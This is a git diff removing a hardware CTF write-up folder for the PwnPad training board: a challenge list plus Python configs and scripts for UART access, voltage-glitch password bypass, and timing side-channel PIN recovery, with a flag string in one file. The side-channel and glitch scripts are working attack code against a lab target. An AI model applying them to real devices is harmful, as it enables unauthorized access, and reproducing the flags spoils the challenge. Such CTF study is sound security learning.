-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
deleted file mode 100644
index 01de69c..0000000
--- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
+++ /dev/null
@@ -1,152 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
-
- functions.add_text("[INFO] Starting full code discovery sequence")
-
- for digit_index in range(4):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
- results = {}
-
- for test_pin in candidate_pins:
- # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
- sequence = code_sequence.copy()
- remaining_pulses = 4 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)}")
-
- # Send all pulses in the sequence, starting timer immediately before the fourth pulse
- for i, pin in enumerate(sequence):
- if i == len(sequence) - 1:
- # Start timer immediately before sending the fourth pulse
- start_time = time.time()
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- # Allow a short interval for the device to react
- time.sleep(0.05)
- # Wait for the input to go HIGH and capture result
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Safely extract duration from result or compute fallback
- if isinstance(result, dict):
- duration = result.get("duration_ms",
- int((end_time - start_time) * 1000))
- else:
- duration = int((end_time - start_time) * 1000)
-
- functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
- results[test_pin] = duration
- else:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- # small pause between candidates
- time.sleep(0.8)
-
- # Choose the candidate with the longest duration for this digit
- correct_pin = max(results, key=results.get)
- code_sequence.append(correct_pin)
-
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
-
-def stop_glitch():
- functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
deleted file mode 100644
index f7e8036..0000000
--- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
+++ /dev/null
@@ -1,123 +0,0 @@
-import functions
-import threading
-import time
-
-###### Config values ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1000000
-UART_NEWLINE = "\n"
-
-LENGTH = 12
-REPEAT = 1
-DELAY = 0
-
-### name, enabled, string to match ###
-conditions = [
- ['run', True, 'Password:', 'try_glitch'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-###### Custom functions ######
-def try_glitch():
- Len = functions.get_config_value("length")
- Rep = functions.get_config_value("repeat")
- Del = functions.get_config_value("delay")
- time.sleep(0.2)
-
- tx_thread = threading.Thread(
- target=functions.send_uart_message,
- args=("aaaaaaaaaaaaaaaaaaaaa",),
- daemon=True
- )
-
- glitch_thread = threading.Thread(
- target=functions.start_glitch,
- args=(Len, Rep, Del),
- daemon=True
- )
-
- glitch_thread.start()
- tx_thread.start()
-
- try:
- current_delay = int(Del)
- except (ValueError, TypeError):
- current_delay = 0
-
- try:
- current_repeat = int(Rep)
- except (ValueError, TypeError):
- current_repeat = 0
-
- new_delay = current_delay + 1
-
- if new_delay >= 51:
- new_delay = 0
- new_repeat = current_repeat + 1
- if new_repeat >= 20:
- new_repeat = 1
- functions.set_config_value("repeat", new_repeat)
-
- functions.set_config_value("delay", new_delay)
-
-
-def stop_glitch():
- buf = functions.read_uart_buffer()
-
- if "TS{D@mn_y0u_@r3_g006}" in buf:
- functions.start_glitch(16, 1, 0)
- else:
- functions.set_condition_value(0, False)
- functions.set_uart_switch(False)
-
-
-###### Inactivity watchdog ######
-def config_inactivity_monitor(timeout=5):
- """
- Monitor 'delay' and 'repeat' configuration values.
- Restart device if they do not change for 'timeout' seconds
- AND condition 0 remains True.
- """
- # Wait for functions.config to be initialised
- while True:
- try:
- _ = functions.get_config_value("delay")
- break
- except AttributeError:
- print("[Watchdog] Waiting for configuration to initialise...")
- time.sleep(1)
-
- last_delay = functions.get_config_value("delay")
- last_repeat = functions.get_config_value("repeat")
- last_change_time = time.time()
-
- while True:
- try:
- current_delay = functions.get_config_value("delay")
- current_repeat = functions.get_config_value("repeat")
- condition_active = functions.get_condition_value(0)
-
- if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
- last_change_time = time.time()
- last_delay = current_delay
- last_repeat = current_repeat
-
- if condition_active and (time.time() - last_change_time > timeout):
- print("[Watchdog] Inactivity detected. Restarting glitch...")
- functions.start_glitch(16, 1, 0)
- last_change_time = time.time()
-
- except Exception as e:
- print(f"[Watchdog Error] {e}")
-
- time.sleep(1)
-
-
-# Start watchdog thread after slight delay to allow initialisation
-def start_watchdog():
- time.sleep(2) # ensures 'functions.config' is ready
- monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
- monitor_thread.start()
-
-
-threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py
deleted file mode 100644
index c5188aa..0000000
--- a/Misc/12Sec_CTF_V1/docs/12_solution.py
+++ /dev/null
@@ -1,274 +0,0 @@
-#!/usr/bin/env python3
-"""
-=====================================================================
-UART Timing Analysis PIN Discovery Script (configurable start)
-=====================================================================
-Performs timing-based side-channel analysis to discover an 8-digit PIN
-via UART, using the Arduino I/O controller for synchronised monitoring.
-
-This variant allows pre-setting a starting code (prefix) and the
-starting position index so that discovery may resume part-way through.
-Version: 1.3
-=====================================================================
-"""
-
-import time
-import serial
-from arduinIO import ArduinoController
-
-# ================================================================
-# Configuration
-# ================================================================
-
-###### UART Configuration ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1199
-UART_NEWLINE = "\n"
-
-###### Arduino I/O Configuration ######
-ARDIO_PORT = "/dev/ttyACM0"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-
-###### Analysis Parameters ######
-PIN_LENGTH = 8
-KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
-PAD_CHAR = 'A'
-ATTEMPTS_PER_CANDIDATE = 1
-
-# Optionally set a starting prefix and a starting position.
-# START_CODE is the known prefix (string). It may be empty.
-# START_POS is the zero-based index at which to begin discovery.
-# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
-START_CODE = "" # e.g. "253"
-START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
-
-###### Delay Configuration (seconds) ######
-INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
-SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
-POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
-MAX_WAIT_MS = 800 # Maximum wait for input response
-MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
-
-# ================================================================
-# Helper Functions
-# ================================================================
-
-def log(msg: str, level: str = "INFO"):
- """Structured log output with level labels."""
- prefix = {
- "INFO": "\033[94m[INFO]\033[0m",
- "TEST": "\033[93m[TEST]\033[0m",
- "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
- "RESULT": "\033[92m[RESULT]\033[0m",
- "ERROR": "\033[91m[ERROR]\033[0m",
- "SUCCESS": "\033[96m[SUCCESS]\033[0m"
- }.get(level, "[LOG]")
- print(f"{prefix} {msg}")
-
-
-def send_uart_message(ser, message: str):
- """Send full message to UART target."""
- if not message.endswith(UART_NEWLINE):
- message += UART_NEWLINE
- ser.write(message.encode("utf-8"))
- ser.flush()
-
-
-def validate_start_settings():
- """Validate START_CODE and START_POS consistency and bounds."""
- if not isinstance(START_CODE, str):
- raise ValueError("START_CODE must be a string.")
- if not isinstance(START_POS, int):
- raise ValueError("START_POS must be an integer.")
- if len(START_CODE) != START_POS:
- raise ValueError("Length of START_CODE must equal START_POS.")
- if START_POS < 0 or START_POS > PIN_LENGTH:
- raise ValueError("START_POS out of valid range.")
- if len(START_CODE) > PIN_LENGTH:
- raise ValueError("START_CODE longer than PIN_LENGTH.")
-
-
-# ================================================================
-# PIN Discovery Logic
-# ================================================================
-
-def find_code(ser, arduino):
- """
- Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
-
- Important: no UART reading occurs during the timed interval. UART is only
- drained before sending (to remove stale lines) and immediately after the
- timing measurement completes. This avoids introducing extra delay into
- the critical timing path.
- """
-
- validate_start_settings()
- log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
-
- discovered = START_CODE
- start_pos = START_POS
-
- remaining_positions = PIN_LENGTH - start_pos
- if remaining_positions <= 0:
- log(f"No positions to discover. Current code: {discovered}", "INFO")
- return discovered
-
- total_candidates = len(KEYSPACE)
- total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
- eta_start = time.time()
- attempts_done = 0
-
- for pos in range(start_pos, PIN_LENGTH):
- human_pos = pos + 1
- log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
- timings = {}
-
- # Upper bound grows with each identified position (relative index)
- relative_index = pos - start_pos
- upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
-
- for idx, candidate in enumerate(KEYSPACE):
- candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
- durations = []
-
- for attempt in range(ATTEMPTS_PER_CANDIDATE):
- # Best-effort non-blocking drain of stale UART lines BEFORE sending
- try:
- while ser.in_waiting:
- _ = ser.readline() # discard
- except Exception:
- pass
-
- # Clear any previous short event records on Arduino
- try:
- arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
- except Exception:
- pass
-
- # Start timing immediately before send (critical interval begins)
- t_start = time.time()
- send_uart_message(ser, candidate_pin + UART_NEWLINE)
-
- # short settle after send (does not affect measurement start)
- time.sleep(SEND_SETTLE_DELAY)
-
- # Perform event-based capture (no UART reads here)
- dur_ms = 0
- try:
- events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
- except Exception:
- events = []
-
- if events:
- low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
- if low_event:
- dur_ms = low_event.get("duration_ms", 0)
-
- # Fallback blocking wait_if_no_event (still no UART reads)
- if dur_ms == 0:
- try:
- result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
- t_end = time.time()
- if isinstance(result, dict):
- dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
- else:
- dur_ms = int((t_end - t_start) * 1000)
- except Exception:
- dur_ms = 0
-
- # Immediately after measurement, drain UART non-blocking and check for success
- try:
- while ser.in_waiting:
- line = ser.readline().decode(errors='ignore').strip()
- if line and line.startswith("TS{"):
- # Found success; append this candidate and return the discovered code
- discovered += candidate
- log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
- return discovered
- except Exception:
- # ignore serial read errors and continue
- pass
-
- # Only include durations that lie within the allowed window
- if 600 <= dur_ms <= upper_bound:
- durations.append(dur_ms)
-
- # Update ETA (safe to compute outside critical interval)
- attempts_done += 1
- elapsed = time.time() - eta_start
- avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
- remaining_attempts = total_attempts - attempts_done
- eta_remaining = remaining_attempts * avg_time_per_attempt
- eta_min, eta_sec = divmod(int(eta_remaining), 60)
-
- # Overwrite attempt line
- print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
-
- time.sleep(INTER_ATTEMPT_DELAY)
-
- # newline after candidate block
- #print()
-
- # Compute average using only valid durations
- avg_duration = (sum(durations) / len(durations)) if durations else 0.0
- timings[candidate] = avg_duration
- print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
- print()
-
- # Select best candidate (largest average); fallback to '0' if none valid
- if any(v > 0 for v in timings.values()):
- selected = max(timings, key=timings.get)
- else:
- selected = '0'
-
- discovered += selected
- log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
-
- # Progress display
- print(f"\n ┌───────────────────────────────┐")
- print(f" │ Progress: {discovered:<8} │")
- print(f" └───────────────────────────────┘\n")
-
- # Optional settle between positions; keep minimal if timing-sensitive
- if POSITION_SETTLE_DELAY:
- time.sleep(POSITION_SETTLE_DELAY)
-
- log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
- return discovered
-
-
-
-# ================================================================
-# Main Execution
-# ================================================================
-
-def main():
- log("Initialising Arduino controller...", "INFO")
- arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
- arduino.connect()
- version = arduino.get_version()
- log(f"Connected to Arduino firmware {version}", "INFO")
-
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
-
- log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
- ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
- log("UART connection established", "INFO")
-
- try:
- pin = find_code(ser, arduino)
- log(f"Discovered PIN: {pin}", "SUCCESS")
- except KeyboardInterrupt:
- log("Process interrupted by user", "ERROR")
- except Exception as e:
- log(f"Unexpected error: {e}", "ERROR")
- finally:
- ser.close()
- arduino.disconnect()
- log("Connections closed", "INFO")
-
-
